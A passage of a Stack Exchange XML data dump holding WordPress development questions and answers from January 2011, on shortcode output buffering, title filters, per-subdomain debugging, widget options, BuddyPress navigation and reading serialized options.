$wp_query-&amp;gt;get($var);&lt;/code&gt; The issue is somewhere inside of bwb-photosmash.php in the plugin's main folder, but I cannot figure out where. Has anyone else come across this issue?&lt;/p&gt;&#xA;" OwnerUserId="2429" LastActivityDate="2011-01-11T19:24:05.113" Title="Why doesn't PhotoSmash plugin play well with wp_query?" Tags="&lt;php&gt;&lt;plugins&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6735" PostTypeId="2" ParentId="6716" CreationDate="2011-01-11T17:29:21.827" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Edward:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a generic solution but will probably solve your needs.  If you want to get rid of the &lt;code&gt;'| Portfolio Categories'&lt;/code&gt; from your site's title just hook the &lt;code&gt;'wp_title'&lt;/code&gt; filter in your theme's &lt;code&gt;functions.php&lt;/code&gt; file and remove that from the title string.  Copy this code to the bottom of that file and modify as need be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_title','your_wp_title');&#xA;function your_wp_title($title) {&#xA;  $title = str_replace('| Portfolio Categories','',$title);&#xA;  return $title;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-11T17:29:21.827" CommentCount="2" />
  <row Id="6736" PostTypeId="2" ParentId="6730" CreationDate="2011-01-11T17:31:08.347" Score="4" ViewCount="" Body="&lt;p&gt;For shortcodes you have to &lt;em&gt;return&lt;/em&gt; the output for it to be written out where the shortcode appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either turn your HTML into a PHP string rather than breaking out of the PHP tags or you can use PHPs output buffering methods like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;player_&amp;lt;?php echo $id; ?&amp;gt;&quot; class=&quot;video_player&quot;&amp;gt;&amp;lt;a href=&quot;http://www.adobe.com/products/flashplayer/&quot;&amp;gt;Get the Flash Player&amp;lt;/a&amp;gt; to see this player.&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://kadampa.org/embed/apps/jwplayer.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;        jwplayer(&quot;player_&amp;lt;?php echo $id; ?&amp;gt;&quot;).setup({&#xA;            flashplayer: &quot;http://kadampa.org/embed/apps/player.swf&quot;,&#xA;            playlistfile: &quot;http://kadampa.org/&amp;lt;?php echo $language; ?&amp;gt;/api/video/&amp;lt;?php if ( 'playlist' == 'yes' ) echo 'playlist/'; ?&amp;gt;&amp;lt;?php echo $media; ?&amp;gt;/desc&quot;,&#xA;            height: &quot;&amp;lt;?php echo $height; ?&amp;gt;&quot;,&#xA;            width: &quot;&amp;lt;?php echo $width; ?&amp;gt;&quot;,&#xA;            config: &quot;http://kadampa.org/embed/config/&amp;lt;?php echo $style; ?&amp;gt;.xml&quot;&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;$output = ob_get_contents();&#xA;ob_end_clean();&#xA;&#xA;return $output; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-11T17:31:08.347" CommentCount="3" />
  <row Id="6737" PostTypeId="2" ParentId="6712" CreationDate="2011-01-11T17:34:08.753" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Raj Sekharan:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your question lets say you have three (3) subdomains on your multisite and you only want to debug the first?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://foo.example.com&quot; rel=&quot;nofollow&quot;&gt;http://foo.example.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bar.example.com&quot; rel=&quot;nofollow&quot;&gt;http://bar.example.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://baz.example.com&quot; rel=&quot;nofollow&quot;&gt;http://baz.example.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If yes then it's a simply matter of adding the following to your &lt;code&gt;/wp-config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['HTTP_HOST']=='foo.example.com')&#xA;  define('WP_DEBUG', true);&#xA;else &#xA;  define('WP_DEBUG', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you are a fan of terse coding you can just do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', $_SERVER['HTTP_HOST']=='foo.example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-11T17:34:08.753" CommentCount="2" />
  <row Id="6738" PostTypeId="2" ParentId="6699" CreationDate="2011-01-11T17:35:19.563" Score="2" ViewCount="" Body="&lt;p&gt;After some digging, I've arrived at a solution (explained in the comments) -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_widget_configuration() {&#xA;&#xA;$options = get_option('widget_some-widget'); // retrieve the options for all occurrences of the named widget*&#xA;&#xA;    $widget_number = 3; // the id number of the specific occurrence of the widget whose options you wish to alter (this can be obtained simply in the html from the &amp;lt;div id=&quot;&quot;&amp;gt; tag of the specific widget)&#xA;&#xA;    $sub_options = $options[$widget_number]; // this now contains the options of the specific occurrence of the widget**&#xA;&#xA;        $sub_options['some_name'] = 'new value'; // change any named option*&#xA;        $sub_options['some_other_name'] = 'new value';&#xA;&#xA;    $options[$widget_number] = $sub_options // pass the changes back to the multi-widget array&#xA;&#xA;update_option('widget_some-widget', $options); // write the altered widget options back into the wp_options table*&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*Add appropriate conditional statements to check that the options exist before getting or updating the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**This is the particular solution for multiwidgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it! This simple little function now allows us to control the output of all sorts of widgets, simply by changing their options programmatically, rather than manually or hacking into the code. For example, I now have a third-party widget on the Frontpage of a blog, which normally displays a list of posts from a fixed category set in admin, but which now has its category (and its title) changing periodically according to a custom function placed in functions.php. The possible applications are endless, and it solves many of the problems of interacting with plugins which lack useful hooks, all without having to hack into their code. Add custom fields to the mix and we're flying...&lt;/p&gt;&#xA;" OwnerUserId="2039" LastEditorUserId="2039" LastEditorDisplayName="" LastEditDate="2011-01-12T01:46:00.757" LastActivityDate="2011-01-12T01:46:00.757" />
  <row Id="6739" PostTypeId="2" ParentId="6719" CreationDate="2011-01-11T17:49:03.177" Score="0" ViewCount="" Body="&lt;p&gt;There's an example of this on the buddypress forums which is a good place to start looking for answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buddypress.org/community/groups/creating-extending/forum/topic/can-someone-explain-how-to-add-tabs-to-the-profile-page/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/community/groups/creating-extending/forum/topic/can-someone-explain-how-to-add-tabs-to-the-profile-page/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of answering here though here goes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp_core_new_subnav_item( array(&#xA;   'name' =&amp;gt; 'My Group Page',&#xA;   'slug' =&amp;gt; 'my-group-page',&#xA;   'parent_url' =&amp;gt; $bp-&amp;gt;loggedin_user-&amp;gt;domain . $bp-&amp;gt;groups-&amp;gt;slug . '/',&#xA;   'parent_slug' =&amp;gt; $bp-&amp;gt;groups-&amp;gt;slug,&#xA;   'screen_function' =&amp;gt; 'my_groups_page_function_to_show_screen',&#xA;   'position' =&amp;gt; 40 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the screen function to render the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_groups_page_function_to_show_screen() {&#xA;&#xA;    //add title and content here - last is to call the members plugin.php template&#xA;    add_action( 'bp_template_title', 'my_groups_page_function_to_show_screen_title' );&#xA;    add_action( 'bp_template_content', 'my_groups_page_function_to_show_screen_content' );&#xA;    bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );&#xA;}&#xA;&#xA;    function my_groups_page_function_to_show_screen_title() {&#xA;        echo 'My Page Title';&#xA;    }&#xA;    function my_groups_page_function_to_show_screen_content() { &#xA;&#xA;        // page content goes here&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-11T17:49:03.177" />
  <row Id="6740" PostTypeId="2" ParentId="6722" CreationDate="2011-01-11T18:03:04.260" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@editor&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question caused me to ponder many issues so I felt that the hackers list might be a good place to ask. Here's the start of the thread; you might find it enlightening:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2011-January/037133.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Single Category Store across Sites on Multisite?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-11T18:03:04.260" CommentCount="1" />
  <row Id="6741" PostTypeId="1" CreationDate="2011-01-11T18:47:12.767" Score="0" ViewCount="74" Body="&lt;p&gt;Has anyone seen an issue where links to plugin files can't be resolved and results in 404 errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a plugin that drops a page template into the active theme directory, and this template file references a reset.css file. The reset.css file is found in the /wp-contet/plugins/[plugin-name]/templates folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is fine until you create a new page with the template and then view the page; the layout is wrong. When viewing the source, I see that the link to the reset.css file is correct (http://site.com/wp-content/plugins/plugin-name/templates/reset.css), but when I put that URL in the browser it results in a &quot;page not found&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried deactivating other plugins, checked permissions, and turned on the debug log, but so far nothing has helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;o&lt;/p&gt;&#xA;" OwnerUserId="2433" LastActivityDate="2011-01-12T04:17:49.970" Title="Links to plugin files not resolving" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6742" PostTypeId="1" AcceptedAnswerId="6744" CreationDate="2011-01-11T19:07:09.980" Score="0" ViewCount="218" Body="&lt;p&gt;I'm trying to determine how to retrieve custom values from wp_options when the values are stored in a single options array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I've got the following data in wp_options for option_value where option_name = &quot;my_category_fields_option&quot;. The i:n value represents the category id of the category that holds the custom &quot;my_title&quot; data]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a:2:{i:10;a:1:{s:8:&quot;my_title&quot;;s:48:&quot;Iced Tea: A Great Choice for Cooling Refreshment&quot;;}i:20;a:1:{s:8:&quot;my_title&quot;;s:30:&quot;Black Tea is Good for the Soul&quot;;}}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I retrieve the value for &quot;my_title&quot; (which should be &quot;Hello World&quot;) when I'm viewing the category archive page for this category?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-11T20:02:43.173" Title="How to retrieve a value via get_option when the option_value is stored in a multi-dimensional array?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="6743" PostTypeId="2" ParentId="6734" CreationDate="2011-01-11T19:24:05.113" Score="2" ViewCount="" Body="&lt;p&gt;There is no need to juggle &lt;code&gt;$wp_query&lt;/code&gt; object, store it in temp, etc. It is rarely good idea to directly mess with important global variables, unless you absolutely need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just create your own arbitrary variable and init it with new &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_query&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$some_variable = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget to cleanup after with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_reset_query()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T19:24:05.113" />
  <row Id="6744" PostTypeId="2" ParentId="6742" CreationDate="2011-01-11T19:25:24.690" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$term_id = get_query_var('cat'); // the current category ID&#xA;&#xA;$my_fields = get_option('my_category_fields_option');&#xA;echo $my_fields[$term_id]['my_title']; // the title corresponding to the current category&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(assuming you're talking about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6549/any-examples-of-adding-custom-fields-to-the-category-editor/6599#6599&quot;&gt;Any examples of adding custom fields to the category editor?&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-11T19:25:24.690" />
  <row Id="6745" PostTypeId="1" CreationDate="2011-01-11T19:41:05.880" Score="0" ViewCount="165" Body="&lt;p&gt;Feedwordpress has an issue with creating duplicate posts. This duplication does not happen predictably, however, so it is hard to debug it. I need to be able to reproduce duplicating posts before I can go any further. Has anyone been able to reproduce duplicate posts when a feed is updated using feedwordpress? If so, what steps did you follow to force a duplicate of a post to be created during an update to the feed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an additional note, I do know that the GUID database field is not set in the duplicate post. This is one of the ways I am able to distinguish duplicates from the original. There could be 5 duplicates, all of which have no GUID set, but only one original with the GUID set.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-08T14:20:58.077" Title="Duplicate Posts using Feedwordpress" Tags="&lt;feed&gt;&lt;posts&gt;&lt;guids&gt;" AnswerCount="1" />
  <row Id="6746" PostTypeId="1" AcceptedAnswerId="6747" CreationDate="2011-01-11T19:54:30.827" Score="0" ViewCount="87" Body="&lt;p&gt;I'd like this function to only return on certain pages. How might i do that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Retreats Accordion&#xA;function retreats_accordion() { &#xA; ?&amp;gt;&#xA;&#xA;&amp;lt;!-- accordion root --&amp;gt; &#xA;&amp;lt;div id=&quot;accordion&quot;&amp;gt; &#xA;    &amp;lt;?php&#xA;        global $post;&#xA;        $c = 0;&#xA;        $class = '';&#xA;        $args = array( 'posts_per_page' =&amp;gt; 6, 'post_type'=&amp;gt; 'slide', 'slideshow'=&amp;gt; 'retreats');&#xA;        $myposts = get_posts( $args );&#xA;        foreach( $myposts as $post ) :  setup_postdata($post);&#xA;        $c++;&#xA;        if( $c == 6 ) $class .= ' last'; ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;slide_url_value&quot;, true); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php the_post_thumbnail('quickfinder'); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;slide&amp;lt;?php echo $class;?&amp;gt;&quot; style=&quot;width:200px;&quot;&amp;gt;    &#xA;            &amp;lt;h4&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;script&amp;gt; &#xA;$(function() {&#xA;&#xA;$(&quot;#accordion&quot;).tabs(&quot;#accordion div&quot;, {&#xA;    tabs: 'img', &#xA;    effect: 'horizontal'&#xA;});&#xA;});&#xA;&amp;lt;/script&amp;gt; &#xA;&#xA;&amp;lt;?php &#xA;}&#xA;&#xA;add_action('nktframework_abovecontent', 'retreats_accordion', 10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding this to the function but it doesn't seem to work.     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_page(107) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-01-11T20:16:45.680" Title="Return function only on certain pages" Tags="&lt;conditional-content&gt;&lt;template-tags&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="6747" PostTypeId="2" ParentId="6746" CreationDate="2011-01-11T19:59:34.970" Score="2" ViewCount="" Body="&lt;p&gt;Your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_page(107) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checks for page and returns nothing on match, effectively it's exactly opposite of what you want. So if you reverse it and put this at start of function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !is_page(107) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will do nothing everywhere, but page 107 where it will proceed to run rest of the function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T19:59:34.970" />
  <row Id="6748" PostTypeId="2" ParentId="6742" CreationDate="2011-01-11T19:59:45.687" Score="1" ViewCount="" Body="&lt;p&gt;If you pass an array to the update_option it will automatically serialize it. you can later retrieve them back into an array like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$tempoptions = get_option(&quot;plugin-options&quot;);&#xA;if (!empty($tempoptions)) {&#xA;    foreach ($tempoptions as $key =&gt; $option)&#xA;        $options[$key] = $option;&#xA;}   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then do something like var_dump ($options) this will show you the entire array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think they use the maybe_serialize/maybe_unserialize/is_serialized functions from the codex, but I never really looked into it. Just found them now. &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/maybe_serialize&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/maybe_serialize&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-01-11T20:02:43.173" LastActivityDate="2011-01-11T20:02:43.173" />
  <row Id="6749" PostTypeId="1" CreationDate="2011-01-11T20:03:12.787" Score="0" ViewCount="138" Body="&lt;p&gt;I have a custom post type (&lt;code&gt;'Model'&lt;/code&gt;) for a sports modelling agency, and it requires the model to enter sports they are competent at, and also rank their ability from 1 to 5. For example, given the information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Model: Joe Soap.&lt;br&gt;&#xA;Football: 4.&lt;br&gt;&#xA;Archery: 2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would store this in the custom_post_type &lt;code&gt;'model'&lt;/code&gt; with the fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Model Name: Joe Soap.&lt;br&gt;&#xA; Sports: Football, Archery (taxonomy).&lt;br&gt;&#xA; Rank: 4, 2.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I associate &lt;code&gt;4&lt;/code&gt; with &lt;code&gt;Football&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; with &lt;code&gt;Archery&lt;/code&gt; using a metabox, where different models may have different sports in their lists ?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-01-11T20:35:49.640" LastActivityDate="2011-08-09T14:21:33.120" Title="Is it possible to create relational metabox values in a custom post?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="6750" PostTypeId="2" ParentId="6746" CreationDate="2011-01-11T20:16:45.680" Score="1" ViewCount="" Body="&lt;p&gt;The above code should work but its kind of a hack, why not create a page template with the complete layout and accordion in it. That way you can select it easily when you create a new page and you dont have to manually edit the page id's every time you need one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages&lt;/a&gt; look under Creating Your Own Page Templates&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-01-11T20:16:45.680" CommentCount="2" />
  <row Id="6751" PostTypeId="2" ParentId="6722" CreationDate="2011-01-11T20:19:10.263" Score="1" ViewCount="" Body="&lt;p&gt;Not sure if this solves your question, but perhaps my plugin bbAggregate addresses your requirements? It allows you to create 'streams' of content from multiple blogs in a multisite WordPress install and aggregate them onto a page. It's my replacement for Global Terms ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/bbaggregate/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bbaggregate/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this article about it:&#xA;www.roytanck.com/2010/09/30/bbaggregate-lets-you-mix-and-match-wordpress-content/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to contact me if you have any questions and/or remarks related&#xA;to this plugin,&lt;/p&gt;&#xA;" OwnerUserId="637" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-11T22:56:26.057" LastActivityDate="2011-01-11T22:56:26.057" />
  <row Id="6752" PostTypeId="2" ParentId="5227" CreationDate="2011-01-11T20:45:31.593" Score="1" ViewCount="" Body="&lt;p&gt;I'd use &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get The Image&lt;/a&gt; plugin and call it in archive template for first post (on &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_month&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_month()&lt;/code&gt;&lt;/a&gt; conditional if needed).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T20:45:31.593" />
  <row Id="6753" PostTypeId="1" CreationDate="2011-01-11T20:54:56.970" Score="0" ViewCount="94" Body="&lt;p&gt;i need to display under every article in the main page, the respective number of post views. I tried with a plugin called wp.postviews but I cant figure out how it's works...it allow only the widget component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have to do to get the postviews? I think I have to use the plugin above and add some extra php code on the index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2011-01-11T22:11:22.660" Title="get postviews under every posts in the main page" Tags="&lt;tags&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6754" PostTypeId="1" AcceptedAnswerId="7409" CreationDate="2011-01-11T21:00:59.587" Score="0" ViewCount="90" Body="&lt;p&gt;I think this must be a simple question, despite the seemingly broad title. My wordpress theme by default displays several social icons. (You can &lt;a href=&quot;http://www.topblogformula.com/demo/&quot; rel=&quot;nofollow&quot;&gt;see them here&lt;/a&gt;, in the upper right corner.) I'm trying to add a new icon to the existing ones. I've already generated and uploaded a new image, modified all the css and php files that (I think) required modification. However, I'm missing one key thing: somewhere, somehow the theme generates some source html that includes an unordered list that displays the icons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;socialize-icons&quot;&amp;gt;&#xA;    &amp;lt;li id=&quot;icon-rss&quot;&amp;gt;&amp;lt;a href=&quot;http://somelink.com&quot;&amp;gt;RSS Feed&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;icon-facebook&quot;&amp;gt;&amp;lt;a href=&quot;http://somelink&quot;&amp;gt;facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;icon-twitter&quot;&amp;gt;&amp;lt;a href=&quot;http://somelink&quot;&amp;gt;twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out where this code is generated so that I tweek it to include my new additional icon. If someone could point me in the right direction (a function, some wp documentation), I'd really appreciated it. &lt;/p&gt;&#xA;" OwnerUserId="2400" LastActivityDate="2011-01-21T08:37:20.127" Title="How does WP generate html?" Tags="&lt;themes&gt;&lt;html&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6755" PostTypeId="2" ParentId="6754" CreationDate="2011-01-11T21:27:44.100" Score="2" ViewCount="" Body="&lt;p&gt;HTML markup can be generated in several ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;directly included in theme's &lt;a href=&quot;http://codex.wordpress.org/Templates&quot; rel=&quot;nofollow&quot;&gt;template files&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;generated by &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt; in templates;&lt;/li&gt;&#xA;&lt;li&gt;generated by native or plugin functions attached to &lt;a href=&quot;http://codex.wordpress.org/Plugin_API#Hooks.2C_Actions_and_Filters&quot; rel=&quot;nofollow&quot;&gt;hooks&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From quick look at this specific theme's code I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(  &quot;name&quot; =&amp;gt; &quot;Socialize Icons&quot;,&#xA;            &quot;desc&quot; =&amp;gt; &quot;Enter Links to Your Twitter, Facebook, and RSS feeds.&amp;lt;br /&amp;gt;If you want to remove the icon, clear the field and save this page&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;socialize_icons&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes me think it has theme options page, where you can change or make blank those fields.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T21:27:44.100" CommentCount="1" />
  <row Id="6756" PostTypeId="1" CreationDate="2011-01-11T21:37:44.640" Score="0" ViewCount="89" Body="&lt;p&gt;I've been working o my website and I just noticed that most of the links from my Follow Me plugin are broken.  The feed link works fine, but everything else leads to a 404.  I can see what's wrong with the URL - my site address and &quot;%20&quot; gets put in front of every link and there are some additional problems.  What I can't figure out is why this is happening or how to fix it.  I have never touched the plugin code and every other link on my site works fine.  I tried reentering the links and deleting and reinstalling the plugin.  The problem persists.  I'm self taught in HTML and CSS, so the plugin code is a little beyond me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.inkandpixelclub.com&quot; rel=&quot;nofollow&quot;&gt;Here's my site&lt;/a&gt;.  The Follow Me plugin is at the top of the sidebar on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2011-05-12T08:50:21.237" Title="Why aren't my Follow Me links working?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;code&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6757" PostTypeId="2" ParentId="6717" CreationDate="2011-01-11T21:40:34.310" Score="1" ViewCount="" Body="&lt;p&gt;Don't know if this is your only issue, but you're using &lt;code&gt;the_title()&lt;/code&gt; to build your URI. This ECHOS the title, which is not what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should be using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_title&quot; rel=&quot;nofollow&quot;&gt;get_the_title()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also urlencode the title, as Jan suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to print out the YouTube URI after you build it, then try to hit it in a browser. If the results aren't right, the problem is with your URI.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-11T21:40:34.310" CommentCount="3" />
